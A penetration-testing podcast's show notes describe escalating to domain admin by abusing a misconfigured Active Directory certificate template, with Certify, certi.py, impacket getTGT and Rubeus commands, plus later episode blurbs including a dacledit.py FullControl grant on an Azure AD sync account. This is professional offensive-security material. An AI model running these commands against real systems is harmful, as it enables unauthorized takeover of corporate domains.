7MS #501: Tales of Pentest Pwnage - Part 31

7MS #501: Tales of Pentest Pwnage - Part 31

Today we're closing down 2021 with a tale of pentest pwnage - this time with a path to DA I had never had a chance to abuse before: Active Directory Certificate Services! For the full gory details on this attack path, see the Certified Pre-Owned paper from the SpecterOps crew. The TLDR/TLDL version of how I abused this path is as follows:

Run Certify.exe find /vulnerable, and if you get some findings, review the Certified Pre-Owned paper and the Certify readme file for guidance on how to exploit them. In my case, the results I got from Certify showed:

msPKI-Certificates-Name-Flag : ENROLLEE_SUPPLIES_SUBJECT

Reading through the Certify readme, I learned "This allows anyone to enroll in this template and specify an arbitrary Subject Alternative Name (i.e. as a DA)." The Certify readme file walks you through how to attack this config specifically, but I had some trouble running all the tools from my non-domain-joined machine. So I used a combination of Certify and Certi to get the job done. First I started on Kali with the following commands:

sudo python3 /opt/impacket/examples/getTGT.py 'victimdomain.domain/MYUSER:MYPASS' export KRB5CCNAME=myuser.cache sudo python3 ./certi.py req 'victimdomain.domain/MYUSER@FQDN.TO.CERT.SERVER' THE-ENTERPRISE-CA-NAME -k -n --alt-name DOMAIN-ADMIN-I-WANT-TO-IMPERSONATE --template VULNERABLE-TEMPLATE NAME

From that you will get a .pfx file which you can bring over to your non-domain-joined machine and do:

rubeus.exe purge rubeus.exe asktgt /user:DOMAIN-ADMIN-I-WANT-TO-IMPERSONATE /certificate:DOMAIN-ADMIN-I-WANT-TO-IMPERSONATE@victim.domain.pfx /password:PASSWORD-TO-MY-PFX-FILE /domain:victimdomain.domain /dc:IP.OF.DOMAIN.CONTROLLER

And that's it! Do a dir \\FQDN.TO.DOMAIN.CONTROLLER\C$ and enjoy your new super powers!

Episoder(683)

7MS #668: Tales of Pentest Pwnage – Part 69

7MS #668: Tales of Pentest Pwnage – Part 69

Hola friends! Today’s tale of pentest pwnage talks about abusing Exchange and the Azure ADSync account! Links to the discussed things: adconnectdump – for all your ADSync account dumping needs! Adam Chester PowerShell script to dump MSOL service account dacledit.py (part of Impacket) to give myself full write privileges on the MSOL sync account: dacledit.py -action ‘write’ -rights ‘FullControl’ -principal lowpriv -target MSOL-SYNC-ACCOUNT -dc-ip 1.2.3.4 domain.com/EXCHANGEBOX$ -k -no-pass Looking to tighten up your Exchange permissions – check out this crazy detailed post

28 Mar 30min

7MS #667: Pentesting GOAD SCCM - Part 2!

7MS #667: Pentesting GOAD SCCM - Part 2!

Hey friends, our good buddy Joe “The Machine” Skeen and I are back this week with part 2 (check out part 1!) tackling GOAD SCCM again!  Spoiler alert: this time we get DA!  YAY! Definitely check out these handy SCCM resources to help you – whether it be in the lab or IRL (in real life): GOAD SCCM walkthrough MisconfigurationManager – tremendous resource for enumerating/attacking/privesc-ing within SCCM This gist from Adam Chester will help you decrypt SCCM creds stored in SQL

21 Mar 28min

7MS #666: Tales of Pentest Pwnage – Part 68

7MS #666: Tales of Pentest Pwnage – Part 68

Today we have a smattering of miscellaneous pentest tips to help you pwn all the stuff! Selective Snaffling with Snaffler The importance of having plenty of dropbox disk space – for redundant remote connectivity and PXE abuse! TGTs can be fun for SMB riffling, targeted Snaffling, netexec-ing and Evil-WinRMing!

14 Mar 45min

7MS #665: What I'm Working on This Week - Part 2

7MS #665: What I'm Working on This Week - Part 2

Hello there friends, I’m doing another “what I’m working on this week” episode which includes: BPATTY v1.6 release – big/cool/new content to share here PWPUSH – this looks to be an awesome way (both paid and free) to securely share files and passwords

7 Mar 28min

7MS #664: What I’m Working on This Week

7MS #664: What I’m Working on This Week

In today’s episode I talk about what I’m working on this week, including: Playing with Sliver C2 and pairing it with ShellcodePack Talking about Netexecer, my upcoming tool that helps automate some of the early/boring stuff in an internal pentest A gotcha to watch out for if utilizing netexec’s MSSQL upload/download functionality

28 Feb 25min

7MS #663: Pentesting GOAD SCCM

7MS #663: Pentesting GOAD SCCM

Today we live-hack an SCCM server via GOAD SCCM using some attack guidance from Misconfiguration Manager!  Attacks include: Unauthenticated PXE attack PXE (with password) attack Relaying the machine account of the MECM box over to the SQL server to get local admin

21 Feb 29min

7MS #662: Pentesting Potatoes - Part 2

7MS #662: Pentesting Potatoes - Part 2

Hi friends, today we're talking about pentesting potatoes (not really, but this episode is sort of a homage to episode 333 where I went to Boise to do a controls assessment and ended up doing an impromptu physical pentest and social engineer exercise).  I talk about what a blast I'm having hunting APTs in XINTRA LABS, and two cool tools I'm building with the help of Cursor: A wrapper for Netexec that quickly finds roastable users, machines without SMB signing, clients running Webclient and more. A sifter of Snaffler-captured files to zero in even closer on interesting things such as usernames and passwords in clear text.

14 Feb 37min

7MS #661: Baby’s First Hetzner and Ludus – Part 2

7MS #661: Baby’s First Hetzner and Ludus – Part 2

Today we continue our journey from last week where we spun up a Hetzner cloud server and Ludus.cloud SCCM pentesting range!  Topics include: Building a Proxmox Backup Server (this YouTube video was super helpful) Bridging a second WAN IP to the Hetzner/Ludus server Wrestling with the Hetzner (10-rule limit!) software firewall When attacking SCCM – you can get a version of pxethief that runs in Linux!

8 Feb 37min

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